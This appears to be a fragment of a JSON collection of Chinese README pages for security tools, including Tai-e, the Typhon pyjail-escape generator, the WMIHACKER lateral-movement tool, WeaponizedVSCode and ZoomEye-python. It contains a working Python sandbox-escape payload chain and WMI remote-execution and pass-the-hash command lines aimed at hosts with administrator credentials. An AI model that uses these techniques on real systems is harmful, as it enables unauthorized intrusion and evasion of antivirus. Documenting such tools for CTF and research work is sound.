<name>Sonatype snapshot server</name>\n        <url>https://s01.oss.sonatype.org/content/repositories/snapshots/</url>\n    </repository>\n</repositories>\n\n<dependencies>\n    <dependency>\n        <groupId>net.pascal-lab</groupId>\n        <artifactId>tai-e</artifactId>\n        <version>0.5.1-SNAPSHOT</version>\n    </dependency>\n</dependencies>\n```\n\nYou can use these coordinates in your Gradle or Maven scripts to include the desired version of Tai-e in your project.\n\n## Documentation\n\n### Reference Documentation\n\nWe have provided detailed information of Tai-e in the [Reference Documentation](http://tai-e.pascal-lab.net/docs/current/reference/en/index.html), which covers various aspects such as [Setup in IntelliJ IDEA](http://tai-e.pascal-lab.net/docs/current/reference/en/setup-in-intellij-idea.html), [Command-Line Options](http://tai-e.pascal-lab.net/docs/current/reference/en/command-line-options.html), and [Development of New Analysis](http://tai-e.pascal-lab.net/docs/current/reference/en/develop-new-analysis.html).\n\nPlease note that the reference documentation mentioned above pertains to *the latest version* of Tai-e.\nIf you need documentation for a specific stable version, please refer to the [Documentation Index](https://tai-e.pascal-lab.net/docs).\nAdditionally, the documentation is included within the repository and maintained alongside the source code.\nYou can access the reference documentation for a particular version of Tai-e (in AsciiDoc format) by exploring the [docs/en](https://github.com/pascal-lab/Tai-e/blob/master/docs/en) directory, starting from [index.adoc](https://github.com/pascal-lab/Tai-e/blob/master/docs/en/index.adoc).\nThis allows you to access version-specific documentation for Tai-e.\n\nIn addition to the reference\ndocumentation, [Javadocs](https://tai-e.pascal-lab.net/docs/current/api/index.html) for Tai-e are\nalso available as a useful reference resource.\n\n### Changelog\nSince we are actively developing and updating Tai-e, we record the notable changes we made, especially the new features and breaking changes, in [CHANGELOG](https://github.com/pascal-lab/Tai-e/blob/master/CHANGELOG.md).\nIf you find something wrong after updating Tai-e, maybe you could check [CHANGELOG](https://github.com/pascal-lab/Tai-e/blob/master/CHANGELOG.md) for useful information.\n\n## Tai-e Assignments\nIn addition, we have developed an [educational version of Tai-e](http://tai-e.pascal-lab.net/en/intro/overview.html) where eight programming assignments are carefully designed for systematically training learners to implement various static analysis techniques to analyze real Java programs.\nThe educational version shares a large amount of code with Tai-e, thus doing the assignments would be a good way to get familiar with Tai-e.\n\n<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b-->\n## 项目相关\n\n- 2023-10-08 发布演示视频[程序分析框架“太阿”与安全漏洞的那些事之Log4Shell篇](https://www.bilibili.com/video/BV1ez4y1F7VB/)\n\n## 最近更新\n\n#### [v0.5.1] - 2025-12-31\n\n**新功能**  \n- 添加 命令行参数的检查  \n- 添加性能监控 \n- 指针分析 \n- 副作用分析 \n- 类层级分析等\n\n#### [v0.5.1] - 2024-12-31\n\n**新功能**  \n- 添加 sub-effect 分析  \n- 选项 --class-path 和 --app-class-path 可以重复多次，以指定多个路径  \n- 新增指针分析  \n- 新增污点分析  \n- 新增类层次结构分析(CHA)  \n- 新增签名模式和匹配器  \n\n**修改**  \n- 对部分 API 进行了优化更改  \n\n**修复**  \n- 修复未使用 -acp 选项的前端的类路径参数不正确的问题  \n- 修复内部类的 JMethod 中参数名称数量与实际参数数量不匹配的问题  \n- 修复选项解析器，现在仅将第一个冒号视为键和值之间的分隔符  \n- 修复通过 JAR 运行时日志文件为空的问题\n\n#### [v0.2.2] - 2023-09-23\n\n**新功能**  \n- 添加选项--app-class-path, 指定 application 类的路径  \n- 添加选项--keep-results, 支持运行时只保留必要的分析结果, 节省内存  \n- 添加选项--output-dir, 可指定分析结果输出目录  \n- 添加选项-wc,--world-cache-mode, 可缓存World, 加速多次分析同一程序的启动时间  \n- 添加 def-use 分析  \n- 添加 dominator-finding 算法  \n- 添加类、方法与字段的泛型签名信息  \n- 将文档源文件包含进仓库中, 实现文档与代码版本的对应  \n- 污点分析  \n  - 支持指定方法形参以及实参作为污点源  \n  - 支持指定字段读取作为污点源  \n  - 支持为方法形参配置污点消毒器(sanitizer)  \n  - 自动输出污点流图  \n  - 支持加载多个污点配置文件  \n  - 支持变量和实例字段/数组元素之间的污点转移  \n  - 支持 call-site 模式  \n- 指针分析  \n  - 支持添加程序的入口点进行分析  \n  - 支持设置分析时间限制  \n  - 支持原子类型值的传播  \n  - 支持基于推导和基于日志的混合反射分析  \n  - 添加 Solar 反射分析(TOSEM'19)  \n  - 支持以注解的方式注册的调用处理程序  \n  - 支持转储 YAML 格式的指针分析结果  \n更多详细更新内容:https://github.com/pascal-lab/Tai-e/releases  \n\n\n<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527-->\n"
  },
  {
    "path": "detail/Typhon.md",
    "content": "## Typhon <https://github.com/LamentXU123/Typhon>\n<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e-->\n![Language](https://img.shields.io/badge/Language-Python-blue)\n![Author](https://img.shields.io/badge/Author-LamentXU123-orange)\n![GitHub stars](https://img.shields.io/github/stars/LamentXU123/Typhon.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.0.13-red)\n![Time](https://img.shields.io/badge/Join-20251201-green)\n<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451-->\n\n\n听着，我已经受够那些愚蠢的CTF pyjail题目了——每次我都要浪费时间在又臭又长的黑名单和各种pyjail总结之间找哪个链子没被过滤，或者在命名空间里一个一个运行`dir()`去找能用的东西。这简直就是一种折磨。\n\n所以这就是Typhon（提丰），一个致力于让你不需要脑子也能做pyjail的一把梭工具。\n\n\n文档: https://typhonbreaker.readthedocs.io/  \n博客: https://www.cnblogs.com/LAMENTXU/articles/19101758\n\n**请务必看完本readme后再使用Typhon工具，尤其是[Q&A](#QA)部分。**\n\n- [Highlights](#Highlights)  \n- [How to Use](#How-to-Use)  \n- [Q&A](#QA)\n- [Proof of Concept](#Proof-of-Concept)  \n- [Limitations](#Limitations)  \n- [Milestones](#Milestones)  \n- [Contributing](#Contributing)  \n- [Credits](#Credits)  \n- [License](#License)  \n\n## Highlights\n\n- 完全开源，免费的一把梭工具  \n- 不需要大脑就能完成pyjail题目，爱护您的脑细胞和眼球\n- 拥有数百条gadgets和几乎所有主流的bypass方法\n- 支持多种函数以达成不同功能，如RCE用`bypassRCE()`, 读文件用`bypassRead()`等等\n- 不依赖任何第三方库，使用纯python3实现\n\n## How to Use\n\n### Install\n\n你可以使用pip进行安装：\n\n```\npip install TyphonBreaker\n```\n\n### Interface\n\n**in Code**\n\n```python\nimport Typhon\nTyphon.bypassRCE(cmd: str,\n    local_scope:dict=None,\n    banned_chr:list=[],\n    allowed_chr:list=[],\n    banned_ast:list=[],\n    banned_re:list=[],\n    max_length:int=None,\n    allow_unicode_bypass:bool=False,\n    print_all_payload:bool=False,\n    interactive:bool=True,\n    depth:int=5,\n    recursion_limit:int=200,\n    log_level:str='INFO')\n```\n\n- `cmd`: RCE所使用的bash command  \n- `local_scope`: 沙箱内的全局变量空间，若无限制则忽略此参数  \n- `banned_chr`: 禁止的字符  \n- `allowed_chr`: 允许的字符（`[]`为全部允许）  \n- `banned_ast`: 禁止的AST节点  \n- `banned_re`: 禁止的正则表达式（列表或字符串）  \n- `max_length`: payload的最大长度  \n- `allow_unicode_bypass`: 是否允许unicode绕过  \n- `print_all_payload`: 是否打印所有payload   \n- `interactive`: 当前pyjail是否允许`stdin`（即如`breakpoint()`等payload是否成立）  \n- `depth`: 组合bypasser的最大深度（建议使用默认值）  \n- `recursion_limit`: 最大递归深度（建议使用默认值）  \n- `log_level`: 输出级别\n    - `info`: 正常输出\n    - `debug`: 调试输出，包含更多信息\n    - `quiet`: 静默模式，只有banner和最终结果输出\n\n```python\nimport Typhon\nTyphon.bypassREAD(filepath: str,\n    mode:str='eval',\n    local_scope:dict=None,\n    banned_chr:list=[],\n    allowed_chr:list=[],\n    banned_ast:list=[],\n    banned_re:list=[],\n    max_length:int=None,\n    allow_unicode_bypass:bool=False,\n    print_all_payload:bool=False,\n    interactive:bool=True,\n    depth:int=5,\n    recursion_limit:int=200,\n    log_level:str='INFO')\n```\n\n- `filepath`: 所读取的文件路径  \n- `mode`: 沙箱内RCE的模式，可选`eval`或`exec`，关系到最后外带输出的逻辑  \n- `local_scope`: 沙箱内的全局变量空间，若无限制则忽略此参数  \n- `banned_chr`: 禁止的字符  \n- `allowed_chr`: 允许的字符（`[]`为全部允许）  \n- `banned_ast`: 禁止的AST节点  \n- `banned_re`: 禁止的正则表达式（列表或字符串）  \n- `max_length`: payload的最大长度  \n- `allow_unicode_bypass`: 是否允许unicode绕过  \n- `print_all_payload`: 是否打印所有payload   \n- `interactive`: 当前pyjail是否允许`stdin`（即如`breakpoint()`等payload是否成立）  \n- `depth`: 组合bypasser的最大深度（建议使用默认值）  \n- `recursion_limit`: 最大递归深度（建议使用默认值）  \n- `log_level`: 输出级别\n    - `info`: 正常输出\n    - `debug`: 调试输出，包含更多信息\n    - `quiet`: 静默模式，只有banner和最终结果输出\n\n**此处注：此工具目前对`bypassREAD`函数的处理很不严谨。该函数将在后面的版本中得到大幅度的改善和细化。**\n\n**Command Line Interface**\n\n这部分不是本工具的重点，但是PR welcome. \n\n## Step by Step Tutorial\n\n你可以通过[示例文档](https://typhon.lamentxu.top/zh-cn/latest/EXAMPLE.html)中的例题来学习 Typhon 的实战用法。以下仅仅提供一个示例。\n\n假设有如下题目：\n\n```python\nimport re\ndef safe_run(cmd):\n    if len(cmd) > 160:\n        return \"Command too long\"\n    if any([i for i in ['import', '__builtins__', '{}'] if i in cmd]):\n        return \"WAF!\"\n    if re.match(r'.*import.*', cmd):\n        return \"WAF!\"\n    exec(cmd, {'__builtins__': {}})\n\nsafe_run(input(\"Enter command: \"))\n```\n\n**Step1. 分析waf**\n\n首先，我们需要分析一下pyjail waf的功能（这可能是唯一需要大脑的地方）。\n\n可以看出，上述题目的waf如下：\n\n- 限制长度最大值为160\n- 在exec的命名空间里没有`__builtins__`\n- 禁止使用`builtins`, `import`, `{}`字符\n- 设置了正则表达式`'.*import.*'`限制条件\n\n**Step2. 将waf导入Typhon**\n\n首先我们将exec行删除：\n\n```python\nimport re\ndef safe_run(cmd):\n    if len(cmd) > 160:\n        return \"Command too long\"\n    if any([i for i in ['import', '__builtins__', '{}'] if i in cmd]):\n        return \"WAF!\"\n    if re.match(r'.*import.*', cmd):\n        return \"WAF!\"\n\nsafe_run(input(\"Enter command: \"))\n```\n\n然后，我们以Typhon对应的bypass函数替代exec行，在对应位置导入WAF, **并在该行上方`import Typhon`**：\n\n```python\nimport re\ndef safe_run(cmd):\n    import Typhon\n    Typhon.bypassRCE(cmd,\n    banned_chr=['__builtins__', 'import', '{}'],\n    banned_re='.*import.*',\n    local_scope={'__builtins__': {}},\n    max_length=160)\n\nsafe_run(input(\"Enter command: \"))\n```\n\n**Step3. 运行**\n\n运行你的题目程序，等待**Jail broken**的信息出现即可。\n\n![image](./image/step-by-step-tutorial.png)\n\n# Q&A\n\n- 何时`import Typhon`？\n\n一定要将行`import Typhon`放在`Typhon`内置绕过函数的上一行（即使你患有PEP-8强迫症）。否则，`Typhon`将无法通过栈帧获取当前的全局变量空间。\n\n**Do:**\n```python\ndef safe_run(cmd):\n    import Typhon\n    Typhon.bypassRCE(cmd,\n    banned_chr=['builtins', 'os', 'exec', 'import'])\n\nsafe_run('cat /f*')\n```\n\n**Don't:**\n```python\nimport Typhon\n\ndef safe_run(cmd):\n    Typhon.bypassRCE(cmd,\n    banned_chr=['builtins', 'os', 'exec', 'import'])\n\nsafe_run('cat /f*')\n```\n\n- 为什么需要使用与题目相同的python版本？\n\nPyjail中存在一些通过索引寻找对应object的gadgets（如继承链）。继承链的利用随着索引变化很大。因此，请务必确保Typhon的运行环境与题目相同。\n\n**无法保证？**\n\n是的，大多数题目都不会给出对应的python版本。因此，**Typhon会在使用涉及版本的gadgets时做出提示**。  \n\n![image](./image/reminder_example.png)\n\n这种情况下往往需要CTF选手自己去找题目环境中该gadgets需要的索引值。  \n\n- 如果题目的`exec`和`eval`没有限制命名空间怎么办？\n\n假设题目没有限制命名空间，则不必填写`local_scope`参数。Typhon会自动使用`import Typhon`时的当前命名空间进行绕过\n\n- 这个payload我用不了能不能换一个？\n\n你可以在参数中加上`print_all_payload=True`，Typhon就会打印其生成的所有payload。\n\n- 这个WEB题好像没开放stdin，我`exec(input())`没用怎么办？\n\n你可以在参数中加上`interactive=False`，Typhon就会禁止使用所有涉及`stdin`的payload。\n\n- 最后输出的payload没回显怎么办？\n\n对于`bypassRCE`，我们认为：**只要命令得到了执行，就是RCE成功。** 至于回显问题，你可以选择反弹shell，时间盲注，或者：添加`print_all_payload=True`参数，查看所有payload，其中可能含有能够成功回显的payload。\n\n## Proof of Concept\n\nTyphon的工作原理如下：\n\n### bypass by path & technique\n\n我们定义两种bypass方式：\n\n- path: 通过不同的载荷进行绕过（例如`os.system('calc')`和`subprocess.Popen('calc')`）  \n- technique: 使用不同技术对相同的有效载荷进行处理从而绕过（例如，`os.system('c'+'a'+'l'+'c')` 和 `os.system('clac'[::-1])`)  \n\nTyphon内置了上百种path。每次我们要绕过获取某个东西时，我们先通过local_scope找到所有可以用的`path`，接下来，通过`bypasser.py`中的`technique`生成每个`path`对应的不同变体，并尝试绕过黑名单。\n\n### gadgets chain\n\n本思路受到[pyjailbreaker](https://github.com/jailctf/pyjailbreaker)工具的启发。\n\npyjailbreaker不直接通过gadgets一步到位实现RCE，而是一步一步寻找RCE链条中需要的项。如假设存在下列黑名单：\n\n- 本地命名空间无`__builtins__`\n- 禁止使用`builtins`字符\n\n对于这个WAF，Typhon是这样处理的：\n\n- 首先，我们通过`'J'.__class__.__class__`获取`type`\n- 随后，我们找到获取type后可能可以获取builtins的RCE链子`TYPE.__subclasses__(TYPE)[0].register.__globals__['__builtins__']`\n- 已知题目黑名单过滤了`__builtins__`字符，则我们将此path投入bypasser产生数十种变体。选择其中最短的变体：`TYPE.__subclasses__(TYPE)[0].register.__globals__['__snitliub__'[::-1]]`\n- 随后，我们找到获取``__builtins__``后的RCE链子`BUILTINS_SET['breakpoint']()`\n- 最后，我们将代表builtins字典的占位符`BUILTINS_SET`替换为上步中获取的`__builtins__`路径，以此类推，将`TYPE`占位符替换为真实的路径，就得到了最终的payload。\n\n```python\n'J'.__class__.__class__.__subclasses__('J'.__class__.__class__)[0].register.__globals__['__snitliub__'[::-1]]['breakpoint']()\n```\n\n### Step by Step\n\nTyphon的workflow顺序如下：\n\n- 每一个终点函数（`bypassRCE`, `bypassREAD`，etc.）都会调用主函数`bypassMAIN`，主函数会尽可能搜集所有的可用gadgets（如上例中的`type`）并将收集到的内容传递给对应的下级函数。\n- `bypassMAIN`函数在简单分析完当前的变量空间后，会：\n  - 尝试直接RCE（如`help()`, `breakporint()`）\n  - 尝试获取生成器\n  - 尝试获取type\n  - 尝试获取object\n  - 尝试获取bytes\n  - 如当前空间中的``__builtins__``未被删除，但被修改，尝试恢复（如`id.__self__`）\n  - 如当前空间中的``__builtins__``被删除，尝试从其他命名空间恢复\n  - 承上，尝试继承链绕过\n  - 尝试获取import包的能力\n  - 尝试直接通过可能恢复的``__builtins__`` RCE\n  - 将结果传递给下级函数\n- 下级函数拿到`bypassMAIN`的结果后，会根据该函数所实现的需求，选择对应的gadgets进行处理（如`bypassRCE`专注于RCE，`bypassREAD`专注于文件读取，`bypassENV`专注于读取环境变量）。其过程与上述相似。\n\n## Limitations\n\n- 目前Typhon只支持python 3.9及以上版本。\n- 目前Typhon只支持linux沙箱。\n- 目前Typhon尚无法绕过audithook沙箱。\n- 由于Typhon采用局部最优的递归策略，对于一些简单的题目，反而需要耗时更久（约1min）。\n- 目前已知的不支持的bypass方法：\n\n  - Typhon不支持以`list.pop(0)`代替`list[0]`，这是因为Typhon所生成的payload都需要经过本地执行验证才能成立，而`pop`方法在验证时会将元素从列表中删除，从而破坏后续环境。\n\n## Milestones\n\n### v1.0 （已发布）\n\n- [x] 实现基本框架\n\n### v1.1\n\n- [ ] 实现更多绕过器\n    - [x] 使用魔术方法替换二元运算符 (`a.__add__(b)`替换`a+b`)\n    - [ ] `list.pop(0)`替换`list[0]`\n    - [x] `list(dict(a=1))[0]`替换`'a'`\n    - [x] `str()`替换空字符串\n- [ ] 实现内置的bash bypasser \n- [ ] 更好的`bypassREAD`函数  \n- [x] 实现白名单功能\n- [x] 自动寻找`bytes`\n\n### v1.2\n\n- [ ] 实现`audithook`沙箱的绕过  \n- [ ] 在没有长度限制的情况下，不使用局部长度最优的递归算法\n- [ ] 实现`bypassENV`函数，用于环境变量的读取\n\n## Contributing\n\n### 提供Typhon无法解出的题目\n\n我们将长期收集Typhon无法解出的题目。这对提升工具性能及其重要！如果你碰到无法一把梭的题目，请于本仓库打开issue，并写明题目来源（最好有对应的题解），我们会尽可能实现对该题目的自动求解。\n\n作为回报，我们会在下一个release版本中囊括您的github ID。\n\n## Credits\n\n**Author & Maintainer**\n\n@ [LamentXU (Weilin Du)](https://github.com/LamentXU123)  \n\n**Contributors**\n\n感谢所有对此项目做过贡献的人：\n\n<a href=\"https://github.com/eryajf/learn-github/graphs/contributors\">\n  <img src=\"https://contrib.rocks/image?repo=Team-intN18-SoybeanSeclab/Typhon\" />\n</a>\n\n**Copyright**\n\n针对bash绕过的内置绕过器，感谢[bashFuck](https://github.com/ProbiusOfficial/bashFuck)项目的作者@ [ProbiusOfficial](https://github.com/ProbiusOfficial)，其[License](https://github.com/ProbiusOfficial/bashFuck/blob/main/README.md)于此。\n\nCopyright (c) 2024 ProbiusOfficial.\n\n下游项目（若有）请务必涵盖此。\n\n另：当前版本中尚未添加此功能。此copyright信息为预先保留。\n\n**Speical Thanks**\n\n@ [黄豆安全实验室](https://hdsec.cn)给予我必须的鼓励  \n@ [pyjailbreaker](https://github.com/jailctf/pyjailbreaker)项目给予我启发  \n\n## License\n\n这个项目在[Apache 2.0](https://github.com/LamentXU123/Typhon/blob/main/LICENSE)协议下发布。\n\nCopyright (c) 2025 Weilin Du.\n\n## 404星链计划\n<img src=\"https://github.com/knownsec/404StarLink/raw/master/Images/logo.png\" width=\"30%\">\n\nTyphon 现已加入 [404星链计划](https://github.com/knownsec/404StarLink)\n\n<picture>\n  <source media=\"(prefers-color-scheme: dark)\" srcset=\"https://api.star-history.com/svg?repos=Team-intN18-SoybeanSeclab/Typhon&type=Date&theme=dark\" />\n  <source media=\"(prefers-color-scheme: light)\" srcset=\"https://api.star-history.com/svg?repos=Team-intN18-SoybeanSeclab/Typhon&type=Date\" />\n  <img alt=\"Star History Chart\" src=\"https://api.star-history.com/svg?repos=Team-intN18-SoybeanSeclab/Typhon&type=Date\" />\n</picture>\n\n\n\n## 最近更新\n\n\n<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527-->\n<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b-->\n## 项目相关\n\n\n## 最近更新\n\n#### [v1.0.13] - 2026-02-25\n\n 实现 webui（包括前端和后端）\n\n\n#### [v1.0.11] - 2025-11-15\n\n - 解决 #7 \n- 增加了对 help, breakpoint 等函数的文档提示\n- 完善文档\n\n\n<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527-->\n"
  },
  {
    "path": "detail/WMIHACKER.md",
    "content": "## WMIHACKER <https://github.com/rootclay/WMIHACKER>\n<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e-->\n![Language](https://img.shields.io/badge/Language-VBScript-blue)\n![Author](https://img.shields.io/badge/Author-rootclay-orange)\n![GitHub stars](https://img.shields.io/github/stars/rootclay/WMIHACKER.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V0.0.1-red)\n![Time](https://img.shields.io/badge/Join-20221117-green)\n<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451-->\n\n> 免责声明：本项目涉及的技术仅供安全学习与研究防御用途，禁止非法使用！\n\n免杀横向移动命令执行测试工具(无需445端口)\n\n介绍：免杀横向渗透远程命令执行，常见的WMIEXEC、PSEXEC执行命令是创建服务或调用Win32_Process.create执行命令，这些方式都已经被杀软100%拦截，通过改造出WMIHACKER免杀横向移动测试工具。(无需445端口)\n\n主要功能：1、命令执行；2、文件上传；3、文件下载；4、PTH使用\n\n## 使用\n合并[Issue 1](https://github.com/360-Linton-Lab/WMIHACKER/issues/1)里PTH的使用方法：\n\n```vbscript\n第54-58行代码：\n\nif user = \"-\" And pass = \"-\" Then\nset objWMIService = objLocator.connectserver(host,\"root/cimv2\")\nSet SubobjSWbemServices = objLocator.ConnectServer(host, \"root\\subscription\")\nSet regWMIService = objLocator.ConnectServer(host, \"root\\default\")\n\n用户名和密码填“-”，结合mimikatz的PTH就可以进行WMI的PTH了。\n```\n\n```\nC:\\Users\\administrator\\Desktop>cscript //nologo WMIHACKER_0.6.vbs\n\n__          ____  __ _____   _    _          _____ _  ________ _____\n\\ \\        / /  \\/  |_   _| | |  | |   /\\   / ____| |/ /  ____|  __ \\\n \\ \\  /\\  / /| \\  / | | |   | |__| |  /  \\ | |    | ' /| |__  | |__) |\n  \\ \\/  \\/ / | |\\/| | | |   |  __  | / /\\ \\| |    |  < |  __| |  _  /\n   \\  /\\  /  | |  | |_| |_  | |  | |/ ____ \\ |____| . \\| |____| | \\ \\\n    \\/  \\/   |_|  |_|_____| |_|  |_/_/    \\_\\_____|_|\\_\\______|_|  \\_\\\n                              v0.6beta       By. Xiangshan@360RedTeam\nUsage:\n        WMIHACKER.vbs  /cmd  host  user  pass  command GETRES?\n\n        WMIHACKER.vbs  /shell  host  user  pass\n\n        WMIHACKER.vbs  /upload  host  user  pass  localpath remotepath\n\n        WMIHACKER.vbs  /download  host  user  pass  localpath remotepath\n\n          /cmd          single command mode\n          host          hostname or IP address\n          GETRES?       Res Need Or Not, Use 1 Or 0\n          command       the command to run on remote host\n```\n\n有命令回显执行方式\n\n`> cscript WMIHACKER_0.6.vbs /cmd 172.16.94.187 administrator \"Password!\" \"systeminfo\" 1`\n\n无命令回显\n\n`> cscript WMIHACKER_0.6.vbs /cmd 172.16.94.187 administrator \"Password!\" \"systeminfo > c:\\1.txt\" 0`\n\n模拟shell模式\n\n`> cscript WMIHACKER_0.6.vbs /shell 172.16.94.187 administrator \"Password!\" `\n\n文件上传-复制本机calc.exe到远程主机c:\\calc.exe\n\n`> cscript wmihacker_0.4.vbe /upload 172.16.94.187 administrator \"Password!\" \"c:\\windows\\system32\\calc.exe\" \"c:\\calc\"`\n\n文件下载-下载远程主机calc.exe到本地c:\\calc.exe\n\n`> cscript wmihacker_0.4.vbe /download 172.16.94.187 administrator \"Password!\" \"c:\\calc\" \"c:\\windows\\system32\\calc.exe\" `\n\n\n<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b-->\n## 项目相关\n\n\n## 最近更新\n\n<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527-->\n"
  },
  {
    "path": "detail/WeaponizedVSCode.md",
    "content": "## WeaponizedVSCode <https://github.com/Esonhugh/WeaponizedVSCode>\n<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e-->\n![Language](https://img.shields.io/badge/Language-Python-blue)\n![Author](https://img.shields.io/badge/Author-Esonhugh-orange)\n![GitHub stars](https://img.shields.io/github/stars/Esonhugh/WeaponizedVSCode.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V0.5.0-red)\n![Time](https://img.shields.io/badge/Join-20250722-green)\n<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451-->\n\n\n\n## Create Hacking Environment\n\n### USAGE\n\n[Usage Readme](./documents/USE.md)\n\n[Custom Readme](./documents/CUSTOM.md)\n\n[Demo](./documents/DEMO.md)\n\n### AIM of project (which problem this project try to solve)\n\nCobalt Strike has a lot of features, but it's too heavy for only host machine or boxes. But it's inspired me a lot.\n\nSo I wanna create a lightweight hacking environment for myself and providing features like following:\n\n1. different enviroment in different hacking project - content switching\n\n    > such as, you play #hackthebox machine and #tryhackme machine at the same time, and you have to switch the different environment for them.\n    > \n    > you will cost a lot time on switching the environment, and you will forget to switch the environment sometimes although you have a note for it.\n\n2. enviroments collections. put things about projects together. - save and clean\n\n    > such as, you have a #hackthebox machine and you put all the tools together in a arsenal\n    > \n    > Now you need craft some payload and delivery it to the target machine\n    > \n    > before: you need to switch the environment to the arsenal folder , compile payloads and start a server(maybe http server or jndi server) to delivery the payload\n    > \n    > that compile will make the arsenal folder dirty, and you need to clean it up before you commit it to git\n    > \n    > and what you compile is useless for other projects which also need this payload\n    >\n    > if you want copy the payload back to the project folder, you need to find the project folder again and copy the path.\n    >\n    > now: you can create $PROJECT_WEB_DELIVERY for the payload and delivery it to the target machine, and you can easliy move the payload to $PROJECT_WEB_DELIVERY and delivery it to the target machine. also you save the payload for this project and you can use it again and keep the arsenal folder clean.\n\n3. customized metaspoit rcfile for different projects\n\n    > such as, you have a #hackthebox machine and you want create a handler fastly. when your machine is resetting and recover the reverse shell again.\n    > \n    > now: you can edit the rcfile for project and use it in vscode terminal with `metasploit` mode. send trigger again and get the shell.\n\n4. taking notes, log/save credentials, download files from remote machine and keep them tidy\n\n    it works well with vscode. so you can use some vscode extensions and vscode features to do sth.\n\n    like ssh with vscode or port fortwarding with vscode\n\n    > such as, you have a #hackthebox machine and you want to save the credentials you found in the machine.\n    > \n    > now: you can create a file named `cred` and save the credentials in it. `user` folder to save context with getting foothold and to user. `root` folder to save context with getting root.\n    > \n    > also I recommand using Foam in extensions.json to take notes and save the notes in the project folder. you can use the notes to write the report after you get the goal. you can use double linked like [[USE]] to go to the doucment use.md.\n    > \n\n5. fast payload generation with metasploit\n\n    > such as, you have a #hackthebox machine and you want to craft a payload for it.\n    > \n    > now: you can use vscode tasks in vscode to generate the payload fastly.\n    >\n    > \n\n6. more feature ...\n\n\n### Happy hacking. ;)\n\n\n<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b-->\n## 项目相关\n\n\n## 最近更新\n\n<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527-->\n"
  },
  {
    "path": "detail/ZoomEye-Python.md",
    "content": "## ZoomEye-Python <https://github.com/knownsec/ZoomEye-python>\n<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e-->\n![Language](https://img.shields.io/badge/Language-Python-blue)\n![Author](https://img.shields.io/badge/Author-Knownsec404-orange)\n![GitHub stars](https://img.shields.io/github/stars/knownsec/ZoomEye-python.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V3.0.0-red)\n![Time](https://img.shields.io/badge/Join-20200821-green)\n<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451-->\n\n`ZoomEye` 是一款网络空间搜索引擎，用户可以使用浏览器方式 <https://www.zoomeye.org> 搜索网络设备。\n\n`ZoomEye-python` 是一款基于 `ZoomEye API` 开发的 Python 库，提供了 `ZoomEye` 命令行模式，同时也可以作为 `SDK` 集成到其他工具中。该库可以让技术人员更便捷地**搜索**、**导出** `ZoomEye` 的数据。\n\n### 0x01 安装步骤\n可直接从 `pypi` 进行安装：\n\n\tpip3 install zoomeye\n\n也可以通过 `github` 进行安装：\n\n\tpip3 install git+https://github.com/knownsec/ZoomEye-python.git\n\n\n### 0x02 使用cli\n在成功安装 `ZoomEye-python` 后，可以直接使用 `zoomeye` 命令，如下：\n\n```\n$ zoomeye -h\nusage: zoomeye [-h] [-v] {info,init,search,clear} ...\n\npositional arguments:\n  {info,init,search,clear}\n    info                Show ZoomEye account info\n    init                Initialize the token for ZoomEye-python\n    search              get network asset information based on query conditions.\n    clear               Manually clear the cache and user information\n\noptions:\n  -h, --help            show this help message and exit\n  -v, --version         show program's version number and exit\n\n```\n\n#### 1.初始化token\n在使用 `ZoomEye-python cli` 前需要先初始化用户 `token`，该凭证用于验证用户身份以便从 `ZoomEye` 查询数据；仅支持 API-KEY 认证。\n\n可以通过 `zoomeye init -h` 查看帮助，下面通过 `APIKEY` 来进行演示：\n\n```\n$ zoomeye init -apikey \"01234567-acbd-00000-1111-22222222222\"\nUsername: your username\nRole: Professional\nPoints: 800000\nZoomeye Points: 0\n```\n\n用户可以通过登陆 `ZoomEye` 在个人信息中(<https://www.zoomeye.org/profile>) 获取 `APIKEY`；`APIKEY` 不会过期，用户可根据需求在个人信息中进行重置。\n\n\n#### 2.用户信息\n用户可以通过 `info` 命令获取用户信息、订阅详细信息和当前积分情况，如下：\n\n```\n$ zoomeye info\nusername: <username>\nemail: <email>\nphone: <phone number>\ncreated_at: 2021-01-15\nSubscription:: {'plan': 'Professional', 'end_date': '2025-12-31', 'points': 800000, 'zoomeye_points': 0}\n```\n\n#### 3.搜索\n搜索是 `ZoomEye-python` 最核心的功能，通过 `search` 命令进行使用。`search` 命令需要指定搜索关键词(`dork`)，下面我们进行简单的搜索：\n\n```\n$ zoomeye search \"telnet\" \nsearch \"telnet\" \nip                            port                          domain                        update_time                   \n134.xx.xx.129                 1901                          [unknown]                     2025-02-06T15:45:20           \n134.xx.xx.138                 1901                          [unknown]                     2025-02-06T15:45:19\n......\n\ntotal: 20/9976411\n```\n\n使用 `search` 命令和使用浏览器在 `ZoomEye` 进行搜索一样简单，在默认情况下我们显示了较为重要的字段，用户可以使用这些数据了解目标信息：\n\n\t1.ip             ip 地址\n    2.port           端口\n    3.domain         目标域名\n    4.update_time    目标扫描时间\n\n`search` 支持以下参数(`zoomeye search -h`)，以便用户对数据进行处理，我们将在下文进行说明和演示：\n\n    -facets facets        统计项，如果有多个，用逗号分隔；支持 country、subdivisions、city、product、service、device、os 和 port。\n    -fields field=regexp  返回的字段，用逗号分隔；默认：ip, port, domain, update_time。更多信息，请参阅: https://www.zoomeye.org/doc/\n    -sub_type {v4,v6,web,all}  数据类型，支持 v4、v6 和 web；默认为 v4。\n    -page page            